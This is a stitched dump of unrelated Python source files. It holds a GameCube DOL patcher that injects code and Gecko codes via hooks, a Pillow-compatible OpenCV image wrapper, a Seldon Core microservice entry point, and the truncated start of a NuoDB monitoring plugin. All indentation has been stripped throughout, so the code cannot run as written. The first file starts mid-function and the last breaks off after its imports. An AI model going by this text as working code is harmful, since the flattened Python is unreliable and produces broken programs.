if gecko_code.is_enabled() == True:
for gecko_command in gecko_code:
if gecko_command.codetype not in SupportedGeckoCodetypes:
status = "OMITTED"
print("{:12s} ${}".format(status, gecko_code.name))
if status == "OMITTED":
print(f"{FLRED}Includes unsupported codetypes:")
for gecko_command in gecko_code:
if gecko_command.codetype not in SupportedGeckoCodetypes:
print(gecko_command)
vaddress = self.inject_address + len(bin_data)
gecko_data = bytearray()
gecko_meta = []
for gecko_command in gecko_code:
if gecko_command.codetype == GeckoCommand.Type.ASM_INSERT or gecko_command.codetype == GeckoCommand.Type.ASM_INSERT_XOR:
if status == "UNUSED" or status == "OMITTED":
gecko_meta.append(
(0, len(gecko_command.value), status, gecko_command))
else:
dol.seek(gecko_command._address | 0x80000000)
write_branch(dol, vaddress + len(gecko_data))
gecko_meta.append(
(
vaddress + len(gecko_data),
len(gecko_command.value),
status,
gecko_command,
)
)
gecko_data += gecko_command.value[:-4]
gecko_data += assemble_branch(
vaddress + len(gecko_data),
gecko_command._address + 4 | 0x80000000,
)
bin_data += gecko_data
if gecko_meta:
self.gecko_meta.append(
(vaddress, len(gecko_data), status, gecko_code, gecko_meta))
print("\n")
self.gecko_table.apply(dol)
for hook in self.hooks:
hook.resolve(self.symbols)
hook.apply_dol(dol)
if self.verbose:
print(hook.dump_info())
print("\n")
bad_symbols = list[str]()
for hook in self.hooks:
if hook.good == False and hook.symbol_name not in bad_symbols:
bad_symbols.append(hook.symbol_name)
if bad_symbols:
badlist = "\n"
for name in bad_symbols:
badlist += f'{FLYELLOW}{name}{FLWHITE} found in {FLCYAN}"{self.symbols[name].source_file}"\n'
raise Exception(
f"{ERROR} C++Kit could not resolve hook addresses for the given symbols:\n{badlist}\n"
f"{FLWHITE}Reasons:{FLRED}\n"
f"• The function was optimized out by the compiler for being out of the entry function's scope.\n"
f'• Symbol definitions are missing from C++Kit in the {FLCYAN}"symbols\"{FLRED} folder.\n\n\n'
)
if len(bin_data) > 0:
new_section: Section
if len(dol.textSections) <= DolFile.MaxTextSections:
new_section = TextSection(self.inject_address, bin_data)
elif len(dol.dataSections) <= DolFile.MaxDataSections:
new_section = DataSection(self.inject_address, bin_data)
else:
raise RuntimeError(
"DOL is full! Cannot allocate any new sections.")
dol.append_section(new_section)
self.__patch_osarena_low(dol, self.inject_address + len(bin_data))
with open(dol_outpath, "wb") as f:
dol.save(f)
if clean_up:
print(f"{FCYAN} Cleaning up temporary files\n")
delete_dir(self.temp_dir)
print(
f'\n{FLGREEN}🎊 BUILD COMPLETE 🎊\nSaved .dol to {FLCYAN}"{dol_outpath}"{FLGREEN}!')
def __compile(self):
queue = Queue()
jobs = list[Process]()
for source in self.c_files + self.cpp_files:
outpath = self.temp_dir + source.split("/")[-1] + ".o"
self.object_files.append(outpath)
self.__process_pragmas(source)
task = Process(target=self.compile, args=(source, outpath, source.endswith("cpp")))
jobs.append(task)
task.start()
while any(t.is_alive() for t in jobs):
pass
def __process_project(self):
with open(self.project_objfile, "rb") as f:
elf = ELFFile(f)
with open(self.temp_dir + self.project_name + ".bin", "wb") as data:
for symbol in elf.iter_sections():
# Filter out sections without SHF_ALLOC attribute
if symbol.header["sh_flags"] & 0x2:
data.seek(
symbol.header["sh_addr"] - self.inject_address)
data.write(symbol.data())
def __save_map(self):
print(f"{FLCYAN}Copying symbols to map...")
with open(f"{self.temp_dir + self.gameid}.map", "w+") as sym_map:
with open(self.project_objfile, "rb") as f:
elf = ELFFile(f)
symtab = elf.get_section_by_name(".symtab")
new_symbols = []
for symbol in symtab.iter_symbols():
# Filter out worthless symbols, as well as STT_SECTION and STT_FILE type symbols.
if symbol.entry["st_info"]["bind"] == "STB_LOCAL":
continue
# Symbols defined by the linker script have no section index, and are instead absolute.
# Symbols we already have aren't needed in the new symbol map, so they are filtered out.
if (symbol.entry["st_shndx"] == "SHN_ABS") or (symbol.entry["st_shndx"] == "SHN_UNDEF"):
continue
new_symbols.append(symbol)
new_symbols.sort(key=lambda i: i.entry["st_value"])
curr_section_name = ""
for symbol in new_symbols:
parent_section = elf.get_section(symbol.entry["st_shndx"])
if curr_section_name != parent_section.name:
curr_section_name = parent_section.name
# We are better off just setting everything to .text as it allows you to click
# on the symbol then right click to copy it's address in Dolphin
sym_map.write(
"\n.text section layout\n" " Starting Virtual\n" " address Size address\n" " -----------------------\n")
sym_map.write(
f" {symbol.entry['st_value'] - self.inject_address:08X} {symbol.entry['st_size']:06X} {symbol.entry['st_value']:08X} 0 ")
if symbol.name in self.symbols:
symbol = self.symbols[symbol.name]
sym_map.write(
f"{symbol.demangled_name}\t {symbol.section} {symbol.source_file} {symbol.library_file}\n")
inmap = open(self.map_inpath, "r").readlines()
sym_map.seek(0)
sym_map = sym_map.readlines()
for path in self.map_outpaths:
open(path,"w").writelines(inmap + sym_map)
def demangle(self, string: str):
process = subprocess.Popen([CPPFLIT, string], stdout=subprocess.PIPE)
demangled = re.sub(
"\r\n", "", process.stdout.readline().decode("ascii"))
if self.verbose:
print(f" 🧼 {FBLUE+ string + FLMAGENTA} -> {FLGREEN + demangled}")
return demangled
def set_symbol_map(self, path: str):
self.map_inpath = assert_file_exists(path)
def set_entry_function(self, func_symbol: str):
"""Sets the entry function to use. Must have C linkage (extern "C").
This is necessary for the "-gc-section" compiler flag to work"""
self.entry_function = func_symbol
def set_sda_bases(self, sda: int, sda2: int):
self.sda_base = sda
self.sda2_base = sda2
def add_map_output(self, path: str):
"""Adds the specified path to the list of maps to be."""
self.map_outpaths.append(path)
def add_linkerscript(self, path: str):
self.linkerscripts.extend(["-T", assert_file_exists(path)])
def add_symbols_folder(self, path: str):
"""Adds all .txt files found in this folder for Freighter to pull manually defined symbols from."""
for file in Path(assert_dir_exists(path)).glob("*.txt"):
self.symbols_paths.append(file.as_posix())
def add_include_folder(self, path: str):
"""Adds the specified folder as an -I compiler flag
Note: Folders within the root folder with the following names are automatically added:
include/
includes/
headers/
"""
self.include_folders.append(assert_dir_exists(path))
def __get_source_files(self):
"""Adds all source files found the specified folder to the Project for complilation.
Files within ignore list will be removed."""
if (self.auto_import == False):
return
for folder in self.source_folders:
for file in Path(folder).glob("*.*"):
ext = file.suffix
file = file.as_posix()
if (file in self.ignored_files):
continue
match(ext):
case ".c":
self.add_c_file(file)
case ".cpp":
self.add_cpp_file(file)
case ".s":
self.add_asm_file(file)
def add_gecko_folder(self, path: str):
"""Adds all Gecko files found in this folder to the Project for complilation."""
for file in glob(assert_dir_exists(path) + "*", recursive=True):
self.add_gecko_file(file)
def add_c_file(self, path: str) -> None:
""" Adds the C (.c) file to the Project for compilation."""
self.c_files.append(assert_file_exists(path))
def add_cpp_file(self, path: str):
""" Adds the C++ (.cpp) file to the Project for compilation."""
self.cpp_files.append(assert_file_exists(path))
def add_asm_file(self, path: str):
""" Adds the ASM (.s) file to the Project for compilation."""
self.asm_files.append(assert_file_exists(path))
def add_gecko_file(self, path: str):
""" Adds the Gecko (.txt) file to the Project for compilation."""
for child in GeckoCodeTable.from_text(open(path, "r").read()):
self.gecko_table.add_child(child)
def add_static_library(self, path: str):
""" Adds the static library (.a) file to the Project for compilation."""
self.static_libs.append(assert_dir_exists(self.library_folders + path))
def ignore_file(self, *paths: str):
""" Tells Freighter to not compile these files"""
for file in paths:
self.ignored_files.append(assert_file_exists(file))
def hook_branch(self, symbol: str, *addresses: int):
"""Create branch instruction(s) from the given symbol_name's absolute address to
the address(es) given."""
for address in addresses:
self.hooks.append(BranchHook(address, symbol))
def hook_branchlink(self, symbol: str, *addresses: int):
""" Create branchlink instruction(s) from the given symbol_name's absolute address to
the address(es) given."""
for address in addresses:
self.hooks.append(BranchHook(address, symbol, lk_bit=True))
def hook_pointer(self, symbol: str, *addresses: int):
""" Write the given symbol's absolute address to the location of the address(es) given."""
for address in addresses:
self.hooks.append(PointerHook(address, symbol))
def hook_string(self, address, string, encoding="ascii", max_strlen=None):
self.hooks.append(StringHook(address, string, encoding, max_strlen))
def hook_file(self, address, filepath, start=0, end=None, max_size=None):
self.hooks.append(FileHook(address, filepath, start, end, max_size))
def hook_immediate16(self, address, symbol_name: str, modifier):
self.hooks.append(Immediate16Hook(address, symbol_name, modifier))
def hook_immediate12(self, address, w, i, symbol_name: str, modifier):
self.hooks.append(Immediate12Hook(
address, w, i, symbol_name, modifier))
def __patch_osarena_low(self, dol: DolFile, rom_end: int):
stack_size = 0x10000
db_stack_size = 0x2000
# Stacks are 8 byte aligned
stack_addr = (rom_end + stack_size + 7 + 0x100) & 0xFFFFFFF8
stack_end = stack_addr - stack_size
db_stack_addr = (stack_addr + db_stack_size + 7 + 0x100) & 0xFFFFFFF8
db_stack_end = db_stack_addr - db_stack_size
# OSArena is 32 byte aligned
osarena_lo = (stack_addr + 31) & 0xFFFFFFE0
db_osarena_lo = (db_stack_addr + 31) & 0xFFFFFFE0
# In [__init_registers]...
dol.seek(0x80005410)
write_lis(dol, 1, sign_extend(stack_addr >> 16, 16))
write_ori(dol, 1, 1, stack_addr & 0xFFFF)
# It can be assumed that the db_stack_addr value is also set somewhere.
# However, it does not seem to matter, as the DBStack is not allocated.
# In [OSInit]...
# OSSetArenaLo( db_osarena_lo );
dol.seek(0x800EB36C)
write_lis(dol, 3, sign_extend(db_osarena_lo >> 16, 16))
write_ori(dol, 3, 3, db_osarena_lo & 0xFFFF)
# In [OSInit]...
# If ( BootInfo->0x0030 == 0 ) && ( *BI2DebugFlag < 2 )
# OSSetArenaLo( _osarena_lo );
dol.seek(0x800EB3A4)
write_lis(dol, 3, sign_extend(osarena_lo >> 16, 16))
write_ori(dol, 3, 3, osarena_lo & 0xFFFF)
# In [__OSThreadInit]...
# DefaultThread->0x304 = db_stack_end
dol.seek(0x800F18BC)
write_lis(dol, 3, sign_extend(db_stack_end >> 16, 16))
write_ori(dol, 0, 3, db_stack_end & 0xFFFF)
# In [__OSThreadInit]...
# DefaultThread->0x308 = _stack_end
dol.seek(0x800F18C4)
write_lis(dol, 3, sign_extend(stack_end >> 16, 16))
dol.seek(0x800F18CC)
write_ori(dol, 0, 3, stack_end & 0xFFFF)
if self.verbose == True:
size = rom_end - self.inject_address
print(f"{FLCYAN}✨What's new:")
print(f"{FLBLUE}Mod Size: {FYELLOW}0x{FLYELLOW}{size:x}{FLGREEN} Bytes or {FLYELLOW}~{size/1024:.2f}{FLGREEN} KiBs")
print(f"{FLBLUE}Injected @: {HEX}{self.inject_address:x}")
print(f"{FLBLUE}Mod End @: {HEX}{rom_end:x}\n")
print(f"{FLBLUE}Stack Moved To: {HEX}{stack_addr:x}")
print(f"{FLBLUE}Stack End @: {HEX}{stack_end:x}")
print(f"{FLBLUE}New OSArenaLo: {HEX}{osarena_lo:x}\n")
print(f"{FLBLUE}Debug Stack Moved to: {HEX}{db_stack_addr:x}")
print(f"{FLBLUE}Debug Stack End @: {HEX}{db_stack_end:x}")
print(f"{FLBLUE}New Debug OSArenaLo: {HEX}{db_osarena_lo:x}")
|
cvimage.py | from __future__ import annotations
from dataclasses import dataclass
from typing import overload
from numbers import Real
import builtins
import sys
import os
import io
import math
import warnings
import contextlib
from pathlib import Path
import cv2
import numpy as np
def isPath(f):
return isinstance(f, (bytes, str, Path))
NEAREST = NONE = cv2.INTER_NEAREST_EXACT
BILINEAR = LINEAR = cv2.INTER_LINEAR
BICUBIC = CUBIC = cv2.INTER_CUBIC
LANCZOS = ANTIALIAS = cv2.INTER_LANCZOS4
BOX = HAMMING = cv2.INTER_AREA
def _channels(shape):
if len(shape) == 2:
return 1
return shape[-1]
def _get_valid_modes(shape, dtype):
if len(shape) == 2:
# single channel
if dtype == np.uint8:
return ['L']
elif dtype == bool:
return ['1']
elif dtype == np.int32:
return ['I']
elif dtype == np.float32:
return ['F']
else:
raise TypeError('unsupported data format: single channel %r' % dtype)
elif len(shape) == 3:
# multi channel
if dtype not in (np.uint8, np.uint16, np.uint32, np.uint64, np.float32, np.float64):
raise TypeError('unsupported data format: multi-channel %r' % dtype)
channels = shape[-1]
if channels == 3:
return ['BGR', 'RGB']
elif channels== 4:
return ['BGRA', 'RGBA', 'RGBX', 'BGRX', 'RGBa', 'BGRa']
else:
raise ValueError(f'unsupported channel count {channels}')
raise ValueError(f"cannot infer image mode from array shape {shape!r} and dtype {dtype!r}")
pil_mode_mapping = {
# 'Pillow mode': 'OpenCV mode',
'RGB': 'RGB',
'RGBA': 'RGBA',
'RGBX': 'RGBA',
'RGBa': 'mRGBA',
'L': 'GRAY',
'I': 'GRAY',
'F': 'GRAY',
# extra modes for convenience
'BGR': 'BGR',
'BGRA': 'BGRA',
'BGRa': 'mBGRA',
}
def imread(fp, flags=cv2.IMREAD_UNCHANGED):
exclusive_fp = False
filename = ""
if isinstance(fp, Path):
filename = str(fp.resolve())
elif isPath(fp):
filename = fp
if filename:
fp = builtins.open(filename, "rb")
exclusive_fp = True
try:
fp.seek(0)
except (AttributeError, io.UnsupportedOperation):
fp = io.BytesIO(fp.read())
exclusive_fp = True
data = fp.read()
if exclusive_fp:
fp.close()
mat = cv2.imdecode(np.asarray(memoryview(data)), flags)
if mat is None:
raise cv2.error('imdecode failed')
ch = _channels(mat.shape)
target_mode = None
if ch == 3:
target_mode = 'BGR'
elif ch == 4:
target_mode = 'BGRA'
if target_mode is not None and mat.dtype != np.uint8:
if mat.dtype in (np.float32, np.float64):
maxval = 1.0
else:
maxval = np.float32(np.iinfo(mat.dtype).max)
mat = (mat / maxval * 255).astype(np.uint8)
return Image(mat, target_mode)
open = imread
def fromarray(array, mode=None):
if mode is None:
ch = _channels(array.shape)
if ch == 3:
# use RGB order for compatibility with PIL
mode = 'RGB'
elif ch == 4:
mode = 'RGBA'
return Image(array, mode)
@dataclass
class Rect:
x: Real
y: Real
width: Real = 0
height: Real = 0
def __init__(self, x, y, w=0, h=0, *, right=None, bottom=None):
self.x = x
self.y = y
self.width = w
self.height = h
if right is not None:
self.right = right
if bottom is not None:
self.bottom = bottom
@classmethod
def from_xywh(cls, x, y, w, h):
return cls(x, y, w, h)
@classmethod
def from_ltrb(cls, left, top, right, bottom):
return cls(left, top, right=right, bottom=bottom)
@property
def right(self):
return self.x + self.width
@right.setter
def right(self, value):
self.width = value - self.x
@property
def bottom(self):
return self.y + self.height
@bottom.setter
def bottom(self, value):
self.height = value - self.y
@property
def xywh(self):
"""describe this Rect in tuple of (x, y, width, height)"""
return self.x, self.y, self.width, self.height
@property
def ltrb(self):
"""describe this Rect in tuple of (left, top, right, bottom)"""
return self.x, self.y, self.right, self.bottom
def __iter__(self):
return iter((self.x, self.y, self.right(), self.bottom()))
class Image:
def __init__(self, mat: np.ndarray, mode=None):
self._mat = mat
valid_modes = _get_valid_modes(mat.shape, mat.dtype)
if mode is not None and mode not in valid_modes:
raise ValueError("Invalid mode")
if mode is None and len(valid_modes) > 1:
warnings.warn(f"multiple mode inferred from array shape {mat.shape!r} and dtype {mat.dtype!r}: {' '.join(valid_modes)}, you might want to explicitly specify a mode")
self._mode = mode or valid_modes[0]
# for use with numpy.asarray
def __array__(self, dtype=None):
return np.asarray(self._mat, dtype=dtype)
# for use with functools.lrucache
def __hash__(self):
keys = ['shape', 'typestr', 'descr', 'data', 'strides', 'mask', 'offset', 'version']
array_intf = self._mat.__array_interface__
array_intf_tup = tuple(array_intf.get(i, None) for i in keys)
return builtins.hash((repr(array_intf_tup), self._mode))
@property
def array(self):
return self._mat
@property
def dtype(self):
return self._mat.dtype
@property
def mode(self):
return self._mode
@property
def width(self):
return self._mat.shape[1]
@property
def height(self):
return self._mat.shape[0]
@property
def size(self) -> tuple[int, int]:
return tuple(self._mat.shape[1::-1])
@overload
def subview(self, rect: Rect) -> Image:
"""crop with Rect"""
...
@overload
def subview(self, rect: tuple[Real, Real, Real, Real]) -> Image:
"""crop with (left, top, right, bottom) tuple"""
...
@overload
def crop(self, rect: Rect) -> Image:
"""crop with Rect"""
...
@overload
def crop(self, rect: tuple[Real, Real, Real, Real]) -> Image:
"""crop with (left, top, right, bottom) tuple"""
...
def subview(self, rect):
if rect is None:
return self
if isinstance(rect, Rect):
left, top, right, bottom = rect.ltrb
else:
left, top, right, bottom = (int(round(x)) for x in rect)
newmat = self._mat[top:bottom, left:right]
return Image(newmat, self.mode)
def crop(self, rect):
return self.subview(rect).copy()
def convert(self, mode=None, matrix=NotImplemented, dither=NotImplemented, palette=NotImplemented, colors=NotImplemented):
if matrix is not NotImplemented or dither is not NotImplemented or palette is not NotImplemented or colors is not NotImplemented:
raise NotImplementedError()
from_cv_mode = pil_mode_mapping[self.mode]
target_cv_mode = None
if mode == 'native':
if self.mode in ('RGBA', 'RGBa', 'BGRA', 'BGRa'):
target_cv_mode = 'BGRA'
target_pil_mode = 'BGRA'
elif self.mode in ('RGB', 'BGR', 'RGBX', 'BGRX'):
target_cv_mode = 'BGR'
target_pil_mode = 'BGR'
elif self.mode in ('L', 'I', 'F'):
target_cv_mode = 'GRAY'
target_pil_mode = self.mode
elif mode == '1':
limg = self.convert('L') if self.mode != 'L' else self
_, newmat = cv2.threshold(limg.array, 127, 1, cv2.THRESH_BINARY)
return Image(newmat.astype(bool), '1')
else:
target_cv_mode = pil_mode_mapping[mode]
target_pil_mode = mode
if target_pil_mode == self.mode:
return self if mode == 'native' else self.copy()
else:
if target_cv_mode is None:
if mode in pil_mode_mapping:
target_cv_mode = pil_mode_mapping[mode]
else:
raise NotImplementedError(f'conversion from {self.mode} to {mode} not implemented yet')
conv = getattr(cv2, f'COLOR_{from_cv_mode}2{target_cv_mode}', None)
if conv is None:
raise NotImplementedError(f'conversion from {self.mode} to {mode} not implemented yet')
newmat = cv2.cvtColor(self._mat, conv)
return Image(newmat, target_pil_mode)
def getbbox(self):
mat = self._mat
if mat.dtype == bool:
mat = mat.astype(np.uint8)
_, thim = cv2.threshold(mat, 0, 255, cv2.THRESH_BINARY)
ch = _channels(thim.shape)
if ch > 1:
thim = cv2.transform(thim, np.ones(ch, dtype=np.float32).reshape(1, ch))
x, y, w, h = cv2.boundingRect(thim)
if w == 0 and h == 0:
return None
rect = (x, y, x+w, y+h)
return rect
def copy(self):
return Image(self._mat.copy(), self.mode)
def tobytes(self):
return self._mat.tobytes()
def rotate(self, angle, resample=NEAREST, expand=False, center=None, translate=None, fillcolor=None):
# use original PIL code to generate affine matrix
angle = angle % 360.0
if not (center or translate):
if angle == 0:
return self.copy()
if angle == 180:
return Image(cv2.rotate(self._mat, cv2.ROTATE_180), self.mode)
if angle == 90 and expand:
return Image(cv2.rotate(self._mat, cv2.ROTATE_90_COUNTERCLOCKWISE), self.mode)
if angle == 270 and expand:
return Image(cv2.rotate(self._mat, cv2.ROTATE_90_CLOCKWISE), self.mode)
w, h = self.size
if translate is None:
post_trans = (0, 0)
else:
post_trans = translate
if center is None:
# FIXME These should be rounded to ints?
rotn_center = (w / 2.0, h / 2.0)
else:
rotn_center = center
angle = -math.radians(angle)
matrix = [
round(math.cos(angle), 15),
round(math.sin(angle), 15),
0.0,
round(-math.sin(angle), 15),
round(math.cos(angle), 15),
0.0,
]
def transform(x, y, matrix):
(a, b, c, d, e, f) = matrix
return a * x + b * y + c, d * x + e * y + f
matrix[2], matrix[5] = transform(
-rotn_center[0] - post_trans[0], -rotn_center[1] - post_trans[1], matrix
)
matrix[2] += rotn_center[0]
matrix[5] += rotn_center[1]
if expand:
# calculate output size
xx = []
yy = []
for x, y in ((0, 0), (w, 0), (w, h), (0, h)):
x, y = transform(x, y, matrix)
xx.append(x)
yy.append(y)
nw = math.ceil(max(xx)) - math.floor(min(xx))
nh = math.ceil(max(yy)) - math.floor(min(yy))
# We multiply a translation matrix from the right. Because of its
# special form, this is the same as taking the image of the
# translation vector as new translation vector.
matrix[2], matrix[5] = transform(-(nw - w) / 2.0, -(nh - h) / 2.0, matrix)
w, h = nw, nh
newmat = cv2.warpAffine(self._mat, np.array(matrix).reshape(2, 3), (w,h), flags=resample, borderMode=cv2.BORDER_CONSTANT, borderValue=fillcolor)
return Image(newmat, self.mode)
def resize(self, size, resample=None, box=NotImplemented, reducing_gap=NotImplemented):
if resample is None:
if self.mode == '1':
resample = NEAREST
else:
resample = BICUBIC
newmat = cv2.resize(self._mat, (int(round(size[0])), int(round(size[1]))), interpolation=resample)
return Image(newmat, self.mode)
def save(self, fp, format=None, imwrite_params=None, **params):
filename = ""
open_fp = False
if isPath(fp):
filename = fp
open_fp = True
elif isinstance(fp, Path):
filename = str(fp)
open_fp = True
elif fp == sys.stdout:
try:
fp = sys.stdout.buffer
except AttributeError:
pass
if not filename and hasattr(fp, "name") and isPath(fp.name):
# only set the name for metadata purposes
filename = fp.name
if open_fp:
fp = builtins.open(filename, "w+b")
context = fp
else:
context = contextlib.nullcontext()
with context:
if format is None:
format = os.path.splitext(filename)[1].lower()
if not format:
format = 'png'
buf = self.imencode(format, imwrite_params)
fp.write(buf)
def imencode(self, format='png', params=None):
image = self.convert('native')
if not format.startswith('.'):
format = '.' + format
result, buf = cv2.imencode(format, image.array, params)
if result:
return buf
else:
raise cv2.error('imencode failed')
def show(self):
native = self.convert('native')
import multiprocessing
from . import _cvimage_imshow_helper
title = f'Image: {self.width}x{self.height} {self.mode} {self.dtype}'
multiprocessing.Process(target=_cvimage_imshow_helper.imshow, args=(title, native.array)).start()
|
microservice.py | import argparse
import os
import importlib
import json
import time
import logging
import multiprocessing as mp
import sys
import seldon_core.persistence as persistence
from distutils.util import strtobool
from seldon_core.flask_utils import ANNOTATIONS_FILE
import seldon_core.wrapper as seldon_microservice
from typing import Dict, Callable
from seldon_core.flask_utils import SeldonMicroserviceException
import gunicorn.app.base
logger = logging.getLogger(__name__)
PARAMETERS_ENV_NAME = "PREDICTIVE_UNIT_PARAMETERS"
SERVICE_PORT_ENV_NAME = "PREDICTIVE_UNIT_SERVICE_PORT"
LOG_LEVEL_ENV = "SELDON_LOG_LEVEL"
DEFAULT_PORT = 5000
DEBUG_PARAMETER = "SELDON_DEBUG"
DEBUG = False
def start_servers(target1: Callable, target2: Callable) -> None:
"""
Start servers
Parameters
----------
target1
Main flask process
target2
Auxilary flask process
"""
p2 = mp.Process(target=target2)
p2.daemon = True
p2.start()
target1()
p2.join()
def parse_parameters(parameters: Dict) -> Dict:
"""
Parse the user object parameters
Parameters
----------
parameters
Returns
-------
"""
type_dict = {
"INT": int,
"FLOAT": float,
"DOUBLE": float,
"STRING": str,
"BOOL": bool,
}
parsed_parameters = {}
for param in parameters:
name = param.get("name")
value = param.get("value")
type_ = param.get("type")
if type_ == "BOOL":
parsed_parameters[name] = bool(strtobool(value))
else:
try:
parsed_parameters[name] = type_dict[type_](value)
except ValueError:
raise SeldonMicroserviceException(
"Bad model parameter: "
+ name
+ " with value "
+ value
+ " can't be parsed as a "
+ type_,
reason="MICROSERVICE_BAD_PARAMETER",
)
except KeyError:
raise SeldonMicroserviceException(
"Bad model parameter type: "
+ type_
+ " valid are INT, FLOAT, DOUBLE, STRING, BOOL",
reason="MICROSERVICE_BAD_PARAMETER",
)
return parsed_parameters
def load_annotations() -> Dict:
"""
Attempt to load annotations
Returns
-------
"""
annotations = {}
try:
if os.path.isfile(ANNOTATIONS_FILE):
with open(ANNOTATIONS_FILE, "r") as ins:
for line in ins:
line = line.rstrip()
parts = list(map(str.strip, line.split("=", 1)))
if len(parts) == 2:
key = parts[0]
value = parts[1][1:-1] # strip quotes at start and end
logger.info("Found annotation %s:%s ", key, value)
annotations[key] = value
else:
logger.info("Bad annotation [%s]", line)
except:
logger.error("Failed to open annotations file %s", ANNOTATIONS_FILE)
return annotations
def setup_tracing(interface_name: str) -> object:
logger.info("Initializing tracing")
from jaeger_client import Config
jaeger_serv = os.environ.get("JAEGER_AGENT_HOST", "0.0.0.0")
jaeger_port = os.environ.get("JAEGER_AGENT_PORT", 5775)
jaeger_config = os.environ.get("JAEGER_CONFIG_PATH", None)
if jaeger_config is None:
logger.info("Using default tracing config")
config = Config(
config={ # usually read from some yaml config
"sampler": {"type": "const", "param": 1},
"local_agent": {
"reporting_host": jaeger_serv,
"reporting_port": jaeger_port,
},
"logging": True,
},
service_name=interface_name,
validate=True,
)
else:
logger.info("Loading tracing config from %s", jaeger_config)
import yaml
with open(jaeger_config, "r") as stream:
config_dict = yaml.load(stream)
config = Config(
config=config_dict, service_name=interface_name, validate=True
)
# this call also sets opentracing.tracer
return config.initialize_tracer()
class StandaloneApplication(gunicorn.app.base.BaseApplication):
def __init__(self, app, user_object, options: Dict = None):
self.application = app
self.user_object = user_object
self.options = options
super(StandaloneApplication, self).__init__()
def load_config(self):
config = dict(
[
(key, value)
for key, value in self.options.items()
if key in self.cfg.settings and value is not None
]
)
for key, value in config.items():
self.cfg.set(key.lower(), value)
def load(self):
logger.debug("LOADING APP %d", os.getpid())
try:
logger.debug("Calling user load method")
self.user_object.load()
except (NotImplementedError, AttributeError):
logger.debug("No load method in user model")
return self.application
def main():
LOG_FORMAT = (
"%(asctime)s - %(name)s:%(funcName)s:%(lineno)s - %(levelname)s: %(message)s"
)
logging.basicConfig(level=logging.INFO, format=LOG_FORMAT)
logger.info("Starting microservice.py:main")
sys.path.append(os.getcwd())
parser = argparse.ArgumentParser()
parser.add_argument("interface_name", type=str, help="Name of the user interface.")
parser.add_argument("api_type", type=str, choices=["REST", "GRPC", "FBS"])
parser.add_argument(
"--service-type",
type=str,
choices=["MODEL", "ROUTER", "TRANSFORMER", "COMBINER", "OUTLIER_DETECTOR"],
default="MODEL",
)
parser.add_argument("--persistence", nargs="?", default=0, const=1, type=int)
parser.add_argument(
"--parameters", type=str, default=os.environ.get(PARAMETERS_ENV_NAME, "[]")
)
parser.add_argument("--log-level", type=str, default="INFO")
parser.add_argument(
"--tracing",
nargs="?",
default=int(os.environ.get("TRACING", "0")),
const=1,
type=int,
)
# gunicorn settings, defaults are from http://docs.gunicorn.org/en/stable/settings.html
parser.add_argument(
"--workers",
type=int,
default=int(os.environ.get("GUNICORN_WORKERS", "1")),
help="Number of gunicorn workers for handling requests.",
)
parser.add_argument(
"--max-requests",
type=int,
default=int(os.environ.get("GUNICORN_MAX_REQUESTS", "0")),
help="Maximum number of requests gunicorn worker will process before restarting.",
)
parser.add_argument(
"--max-requests-jitter",
type=int,
default=int(os.environ.get("GUNICORN_MAX_REQUESTS_JITTER", "0")),
help="Maximum random jitter to add to max-requests.",
)
args = parser.parse_args()
parameters = parse_parameters(json.loads(args.parameters))
# set flask trace jaeger extra tags
jaeger_extra_tags = list(
filter(
lambda x: (x != ""),
[tag.strip() for tag in os.environ.get("JAEGER_EXTRA_TAGS", "").split(",")],
)
)
logger.info("Parse JAEGER_EXTRA_TAGS %s", jaeger_extra_tags)
# set up log level
log_level_raw = os.environ.get(LOG_LEVEL_ENV, args.log_level.upper())
log_level_num = getattr(logging, log_level_raw, None)
if not isinstance(log_level_num, int):
raise ValueError("Invalid log level: %s", args.log_level)
logger.setLevel(log_level_num)
logger.debug("Log level set to %s:%s", args.log_level, log_level_num)
annotations = load_annotations()
logger.info("Annotations: %s", annotations)
parts = args.interface_name.rsplit(".", 1)
if len(parts) == 1:
logger.info("Importing %s", args.interface_name)
interface_file = importlib.import_module(args.interface_name)
user_class = getattr(interface_file, args.interface_name)
else:
logger.info("Importing submodule %s", parts)
interface_file = importlib.import_module(parts[0])
user_class = getattr(interface_file, parts[1])
if args.persistence:
logger.info("Restoring persisted component")
user_object = persistence.restore(user_class, parameters)
persistence.persist(user_object, parameters.get("push_frequency"))
else:
user_object = user_class(**parameters)
# set log level for the imported microservice type
seldon_microservice.logger.setLevel(log_level_num)
logging.getLogger().setLevel(log_level_num)
for handler in logger.handlers:
handler.setLevel(log_level_num)
port = int(os.environ.get(SERVICE_PORT_ENV_NAME, DEFAULT_PORT))
if args.tracing:
tracer = setup_tracing(args.interface_name)
if args.api_type == "REST":
if args.workers > 1:
def rest_prediction_server():
options = {
"bind": "%s:%s" % ("0.0.0.0", port),
"access_logfile": "-",
"loglevel": "info",
"timeout": 5000,
"reload": "true",
"workers": args.workers,
"max_requests": args.max_requests,
"max_requests_jitter": args.max_requests_jitter,
}
app = seldon_microservice.get_rest_microservice(user_object)
StandaloneApplication(app, user_object, options=options).run()
logger.info("REST gunicorn microservice running on port %i", port)
server1_func = rest_prediction_server
else:
def rest_prediction_server():
app = seldon_microservice.get_rest_microservice(user_object)
try:
user_object.load()
except (NotImplementedError, AttributeError):
pass
if args.tracing:
logger.info("Tracing branch is active")
from flask_opentracing import FlaskTracing
logger.info("Set JAEGER_EXTRA_TAGS %s", jaeger_extra_tags)
tracing = FlaskTracing(tracer, True, app, jaeger_extra_tags)
app.run(host="0.0.0.0", port=port)
logger.info("REST microservice running on port %i", port)
server1_func = rest_prediction_server
elif args.api_type == "GRPC":
def grpc_prediction_server():
if args.tracing:
from grpc_opentracing import open_tracing_server_interceptor
logger.info("Adding tracer")
interceptor = open_tracing_server_interceptor(tracer)
else:
interceptor = None
server = seldon_microservice.get_grpc_server(
user_object, annotations=annotations, trace_interceptor=interceptor
)
try:
user_object.load()
except (NotImplementedError, AttributeError):
pass
server.add_insecure_port(f"0.0.0.0:{port}")
server.start()
logger.info("GRPC microservice Running on port %i", port)
while True:
time.sleep(1000)
server1_func = grpc_prediction_server
else:
server1_func = None
if hasattr(user_object, "custom_service") and callable(
getattr(user_object, "custom_service")
):
server2_func = user_object.custom_service
else:
server2_func = None
logger.info("Starting servers")
start_servers(server1_func, server2_func)
if __name__ == "__main__":
main()
|
NuoAdminNuoMonitorPlugin.py | # (C) Copyright NuoDB, Inc. 2017-2020
#
# This source code is licensed under the MIT license found in the LICENSE
# file in the root directory of this source tree.
import logging
import os
import re
import socket
import threading
import time
import datetime
from copy import deepcopy
from pynuoca.nuoca_plugin import NuocaMPInputPlugin
from pynuoca.nuoca_util import nuoca_log
try:
